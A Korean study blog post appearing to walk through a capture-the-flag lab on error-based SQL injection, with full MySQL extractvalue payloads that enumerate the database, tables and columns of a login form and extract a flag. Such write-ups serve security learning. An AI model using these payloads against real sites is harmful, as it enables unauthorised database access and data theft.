Error basesd SQLi 연습 문제 3

gyub·2025년 5월 27일
0

모의해킹 스터디

목록 보기
18/31

1️⃣ SQL Injection 포인트 찾기

문제는 아래와 같습니다

계정이 하나 주어졌네요

주어진 계정으로 로그인 해보며 response와 request에 특이한 점이 있는지 살펴보겠습니다

별다른 특이점 없이 잘 로그인 되었습니다

혹시 Error based sqli가 가능한지 알아보기 위해 normaltic' 를 아이디로 입력해보겠습니다

에러메세지가 출력되고 있습니다

Error based sqli가 가능할 것 같습니다

normaltic' and '1'='1를 아이디로 입력해보았습니다

로그인에 성공하는 것으로 보아 확실히 sqli 포인트입니다

2️⃣ 에러 출력 함수

error based sqli를 하려면 에러를 출력할 함수가 필요합니다

이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다

우리는 MySQL을 사용하고 있기 때문에, extractvalue 함수를 활용합니다

XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다

3️⃣ 공격 format 만들기

이제 본격적인 SQLi를 위해 공격 포맷을 만들어 보겠습니다

normaltic' and extractvalue('1', concat(0x3a, (_SQL_))) and '1'='1

4️⃣ DB 이름 찾기

DB 이름은 select database() 로 찾습니다

따라서 우리가 아이디로 입력해야 할 sql문은 아래와 같습니다

normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1

sqli_2_2 라는 DB 명을 찾았습니다

5️⃣ 테이블 이름 찾기

앞에서 찾은 DB 명을 이용해 해당 DB 안에 있는 테이블들을 찾는 SQL문은 아래와 같습니다

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2'

이 SQl문을 공격 format에 삽입합니다

normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2'))) and '1'='1

이제 이 sql문을 아이디로 입력해보겠습니다

테이블이 여러 개인 것 같네요

limit 을 활용해 1개씩 찾아보겠습니다

  1. 첫번째

normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2' limit 0,1))) and '1'='1

flagTable_this 라는 테이블을 발견했습니다

  1. 두번째

normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2' limit 1,1))) and '1'='1

member 라는 테이블도 발견했습니다

6️⃣ 컬럼 이름 찾기

우리는 flag를 찾아야 하니 우리가 추출해야 할 데이터는 flagTable_this 테이블에 있을 가능성이 크겠네요

그럼 flagTable_this 에 어떤 column이 있는지 알아보기 위한 SQL문을 작성해보겠습니다

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this'

이 SQL문을 공격 format에 끼워넣으면 아래와 같습니다

normaltic' and extractvalue('1', concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this'))) and '1'='1

아이디로 입력해보니 이런 결과가 나왔습니다

컬럼이 여러 개인 것 같으니 마찬가지로 limit 을 활용해 1개씩 찾아보겠습니다

  1. 첫번째

normaltic' and extractvalue('1', concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this' limit 0,1))) and '1'='1

idx 라는 컬럼을 발견했습니다

  1. 두번째

normaltic' and extractvalue('1', concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this' limit 1,1))) and '1'='1

flag 컬럼도 발견했습니다

7️⃣ 데이터 추출하기

우리가 찾는 것은 flag이기 때문에 flag 컬럼의 데이터를 추출해보도록 하겠습니다

데이터를 추출하는 sql문은 select flag from flagTable_this 가 됩니다

이것을 공격 format에 삽입하면 아래와 같습니다

normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this))) and '1'='1

컬럼 내 데이터가 여러 행인 것 같으니 limit 을 이용해 1개씩 보아야 합니다

normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit N,1))) and '1'='1

데이터가 많을 것 같아 burp suite의 intruder를 이용해 limit의 시작 인덱스를 0부터 20까지 돌려보았습니다

13에서 플래그를 찾았습니다

0개의 댓글